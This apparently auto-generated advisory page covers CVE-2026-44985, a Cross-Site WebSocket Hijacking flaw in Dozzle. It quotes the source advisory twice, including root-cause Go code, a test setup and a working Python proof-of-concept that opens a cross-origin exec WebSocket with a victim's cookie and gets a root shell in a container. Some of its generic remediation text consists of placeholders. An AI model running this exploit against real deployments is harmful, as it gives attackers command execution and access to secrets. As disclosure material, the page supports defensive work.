CVE-2026-44985: Github.com/amir20/dozzle Dozzle's Cross-Site WebSocket Hijacking (CSWSH) Vulnerability

HIGH
Advisory Identifier: GHSA-j643-x8pv-8m67
CVSS 9.6
CWE-346
Published
Advisory Summary

CVE-2026-44985 is a HIGH (CVSS 9.6) dozzle's cross-site websocket hijacking (cswsh) vulnerability (CWE-346: Origin Validation Error) affecting Github.com/amir20/dozzle libraries in the Go ecosystem. The issue involves dozzle's cross-site websocket hijacking (cswsh) on exec/attach endpointsbypasses authentication. Remediation is available in the latest vendor maintenance releases.

CVE-2026-44985 at a Glance

CVE Identifier CVE-2026-44985
GHSA Identifier GHSA-j643-x8pv-8m67
Severity HIGH
CVSS v3.1 Base Score 9.6
CWE Classification CWE-346: Origin Validation Error
Affected Product Github.com/amir20/dozzle
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-44985

To remediate this vulnerability, upgrade all affected Github.com/amir20/dozzle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/amir20/dozzle fixed: Latest secure release
Upgrade github.com/amir20/dozzle to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/amir20/dozzle

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44985, inspect your project dependencies for Github.com/amir20/dozzle:

inspect dependencies for github.com/amir20/dozzle

Analyze the terminal output to locate any version of Github.com/amir20/dozzle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-346: Origin Validation Error, where the product does not properly verify that the source of data or communication is valid. In Github.com/amir20/dozzle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (CSWSH) — **even when authentication is properly configured**. An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access. ## Root cause **1. CheckOrigin bypassed (`internal/web/terminal.go:15-21`)** ```go var upgrader = websocket.Upgrader{ ReadBufferSize: 1024, WriteBufferSize: 1024, CheckOrigin: func(r *http.Request) bool { return true }, } ``` The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return `true` removes the only server-side defense against CSWSH. **2. JWT cookie with SameSite=Lax (`internal/web/auth.go:20-27`)** ```go http.SetCookie(w, &http.Cookie{ Name: "jwt", Value: token, HttpOnly: true, Path: "/", SameSite: http.SameSiteLaxMode, Expires: expires, }) ``` `SameSite` operates at the **site** level (eTLD+1), not the origin level. A page on `evil.example.com` can make a WebSocket request to `dozzle.example.com` and the browser will attach the JWT cookie, because they share the same site (`example.com`). `SameSite=Lax` only blocks cross-**site** requests (different eTLD+1), not cross-**origin** requests within the same site. ## Attack scenario Preconditions: Dozzle is deployed with `--enable-shell` and authentication configured (simple auth). The victim is logged in. 1. Attacker controls a page on the same site (e.g., `attacker.example.com`, or another service on `localhost:8888` while Dozzle is on `localhost:9090`) 2. Victim visits the attacker's page while authenticated to Dozzle 3. Attacker's JavaScript opens `new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')` 4. Browser sends the JWT cookie (same-site, `SameSite=Lax` allows it) 5. Dozzle's `CheckOrigin` returns `true` — upgrade accepted 6. Auth middleware validates the JWT from the cookie — request authenticated 7. Attacker has a shell in the victim's authorized containers ## PoC (auth enabled) **Setup — Dozzle with authentication + shell:** docker-compose.yml: ```yaml services: dozzle: image: amir20/dozzle:latest ports: - "9090:8080" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./data:/data environment: - DOZZLE_AUTH_PROVIDER=simple - DOZZLE_ENABLE_SHELL=true target: image: alpine:latest command: sh -c "while true; do sleep 3600; done" ``` data/users.yml: ```yaml users: admin: name: Admin # password: admin123 password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS" email: admin@test.local roles: shell ``` **Exploit — CSWSH with cross-origin Origin header + victim's cookie:** ```python import json, time, websocket, requests target = "http://localhost:9090" # Verify auth is enabled r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True) r.close() assert r.status_code == 401, "Auth not enabled" # Victim logs in r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"}) jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0] # Get container info (authenticated) r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10) for line in r.iter_lines(decode_unicode=True): if line and line.startswith("data: "): data = json.loads(line[6:]) if isinstance(data, list) and len(data) > 0 and "host" in data[0]: host_id = data[0]["host"] cid = data[0]["id"] break r.close() # CSWSH: cross-origin WebSocket with victim's cookie ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec" ws = websocket.create_connection( ws_url, timeout=10, cookie=f"jwt={jwt}", origin="http://localhost:8888" # DIFFERENT origin ) # Connected! CheckOrigin:true accepted the cross-origin request ws.send(json.dumps({"type": "resize", "width": 120, "height": 40})) time.sleep(1); ws.recv() ws.send(json.dumps({"type": "userinput", "data": "id\n"})) time.sleep(2) ws.settimeout(2) output = [] try: while True: output.append(ws.recv()) except: pass ws.close() print("".join(output)) # uid=0(root) gid=0(root) groups=0(root) # Verify: without cookie = rejected try: ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888") ws2.close() except Exception as e: print(f"Without cookie: {e}") # 401 Unauthorized ``` **Result:** ``` [+] Auth is ENABLED (events stream returns 401) [+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888 [+] uid=0(root) gid=0(root) groups=0(root) [+] Without cookie -> 401 Unauthorized ``` ## Impact Users who deploy Dozzle with `--enable-shell` and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to: - Execute arbitrary commands in any container the victim has access to - Read secrets, environment variables, and files inside containers - Pivot to other services accessible from the container network - Potentially escape to the Docker host if the socket is mounted writable ## Suggested fix Remove the custom `CheckOrigin` override and use the gorilla/websocket default, which rejects cross-origin requests: ```go var upgrader = websocket.Upgrader{ ReadBufferSize: 1024, WriteBufferSize: 1024, // Default CheckOrigin rejects cross-origin requests } ```

CVE-2026-44985 Affected Github.com/amir20/dozzle Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/amir20/dozzle
Go
≤ 10.5.1

References

Frequently Asked Questions

What is CVE-2026-44985?
CVE-2026-44985 is a security vulnerability in Github.com/amir20/dozzle involving Dozzle's Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication under CWE-346: Origin Validation Error.
Which Github.com/amir20/dozzle versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/amir20/dozzle.
What version fixes CVE-2026-44985?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/amir20/dozzle affected?
Yes, github.com/amir20/dozzle is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-44985?
CVE-2026-44985 has a CVSS v3.1 base score of 9.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-44985?
CVE-2026-44985 is classified under CWE-346: Origin Validation Error (The product does not properly verify that the source of data or communication is valid.).
How can I check Go dependencies for CVE-2026-44985?
Run the dependency tree command: 'inspect dependencies for github.com/amir20/dozzle'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j643-x8pv-8m67",
  "modified" : "2026-06-08T23:35:14Z",
  "published" : "2026-05-11T14:07:21Z",
  "aliases" : [ "CVE-2026-44985" ],
  "summary" : "Dozzle's Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication",
  "details" : "## Summary\n\nThe WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (CSWSH) — **even when authentication is properly configured**.\n\nAn attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.\n\n## Root cause\n\n**1. CheckOrigin bypassed (`internal/web/terminal.go:15-21`)**\n\n```go\nvar upgrader = websocket.Upgrader{\n    ReadBufferSize:  1024,\n    WriteBufferSize: 1024,\n    CheckOrigin: func(r *http.Request) bool {\n        return true\n    },\n}\n```\n\nThe gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return `true` removes the only server-side defense against CSWSH.\n\n**2. JWT cookie with SameSite=Lax (`internal/web/auth.go:20-27`)**\n\n```go\nhttp.SetCookie(w, &http.Cookie{\n    Name:     \"jwt\",\n    Value:    token,\n    HttpOnly: true,\n    Path:     \"/\",\n    SameSite: http.SameSiteLaxMode,\n    Expires:  expires,\n})\n```\n\n`SameSite` operates at the **site** level (eTLD+1), not the origin level. A page on `evil.example.com` can make a WebSocket request to `dozzle.example.com` and the browser will attach the JWT cookie, because they share the same site (`example.com`). `SameSite=Lax` only blocks cross-**site** requests (different eTLD+1), not cross-**origin** requests within the same site.\n\n## Attack scenario\n\nPreconditions: Dozzle is deployed with `--enable-shell` and authentication configured (simple auth). The victim is logged in.\n\n1. Attacker controls a page on the same site (e.g., `attacker.example.com`, or another service on `localhost:8888` while Dozzle is on `localhost:9090`)\n2. Victim visits the attacker's page while authenticated to Dozzle\n3. Attacker's JavaScript opens `new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')`\n4. Browser sends the JWT cookie (same-site, `SameSite=Lax` allows it)\n5. Dozzle's `CheckOrigin` returns `true` — upgrade accepted\n6. Auth middleware validates the JWT from the cookie — request authenticated\n7. Attacker has a shell in the victim's authorized containers\n\n## PoC (auth enabled)\n\n**Setup — Dozzle with authentication + shell:**\n\ndocker-compose.yml:\n```yaml\nservices:\n  dozzle:\n    image: amir20/dozzle:latest\n    ports:\n      - \"9090:8080\"\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock:ro\n      - ./data:/data\n    environment:\n      - DOZZLE_AUTH_PROVIDER=simple\n      - DOZZLE_ENABLE_SHELL=true\n\n  target:\n    image: alpine:latest\n    command: sh -c \"while true; do sleep 3600; done\"\n```\n\ndata/users.yml:\n```yaml\nusers:\n  admin:\n    name: Admin\n    # password: admin123\n    password: \"$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS\"\n    email: admin@test.local\n    roles: shell\n```\n\n**Exploit — CSWSH with cross-origin Origin header + victim's cookie:**\n\n```python\nimport json, time, websocket, requests\n\ntarget = \"http://localhost:9090\"\n\n# Verify auth is enabled\nr = requests.get(f\"{target}/api/events/stream\", timeout=5, stream=True)\nr.close()\nassert r.status_code == 401, \"Auth not enabled\"\n\n# Victim logs in\nr = requests.post(f\"{target}/api/token\", data={\"username\": \"admin\", \"password\": \"admin123\"})\njwt = r.headers[\"Set-Cookie\"].split(\"jwt=\")[1].split(\";\")[0]\n\n# Get container info (authenticated)\nr = requests.get(f\"{target}/api/events/stream\", cookies={\"jwt\": jwt}, stream=True, timeout=10)\nfor line in r.iter_lines(decode_unicode=True):\n    if line and line.startswith(\"data: \"):\n        data = json.loads(line[6:])\n        if isinstance(data, list) and len(data) > 0 and \"host\" in data[0]:\n            host_id = data[0][\"host\"]\n            cid = data[0][\"id\"]\n            break\nr.close()\n\n# CSWSH: cross-origin WebSocket with victim's cookie\nws_url = f\"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec\"\nws = websocket.create_connection(\n    ws_url, timeout=10,\n    cookie=f\"jwt={jwt}\",\n    origin=\"http://localhost:8888\"  # DIFFERENT origin\n)\n# Connected! CheckOrigin:true accepted the cross-origin request\n\nws.send(json.dumps({\"type\": \"resize\", \"width\": 120, \"height\": 40}))\ntime.sleep(1); ws.recv()\n\nws.send(json.dumps({\"type\": \"userinput\", \"data\": \"id\\n\"}))\ntime.sleep(2)\nws.settimeout(2)\noutput = []\ntry:\n    while True:\n        output.append(ws.recv())\nexcept:\n    pass\nws.close()\nprint(\"\".join(output))\n# uid=0(root) gid=0(root) groups=0(root)\n\n# Verify: without cookie = rejected\ntry:\n    ws2 = websocket.create_connection(ws_url, timeout=5, origin=\"http://localhost:8888\")\n    ws2.close()\nexcept Exception as e:\n    print(f\"Without cookie: {e}\")  # 401 Unauthorized\n```\n\n**Result:**\n```\n[+] Auth is ENABLED (events stream returns 401)\n[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888\n[+] uid=0(root) gid=0(root) groups=0(root)\n[+] Without cookie -> 401 Unauthorized\n```\n\n## Impact\n\nUsers who deploy Dozzle with `--enable-shell` and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:\n\n- Execute arbitrary commands in any container the victim has access to\n- Read secrets, environment variables, and files inside containers\n- Pivot to other services accessible from the container network\n- Potentially escape to the Docker host if the socket is mounted writable\n\n## Suggested fix\n\nRemove the custom `CheckOrigin` override and use the gorilla/websocket default, which rejects cross-origin requests:\n\n```go\nvar upgrader = websocket.Upgrader{\n    ReadBufferSize:  1024,\n    WriteBufferSize: 1024,\n    // Default CheckOrigin rejects cross-origin requests\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/amir20/dozzle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "10.5.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44985"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/amir20/dozzle"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-346" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T14:07:21Z",
    "nvd_published_at" : "2026-05-26T22:16:43Z"
  }
}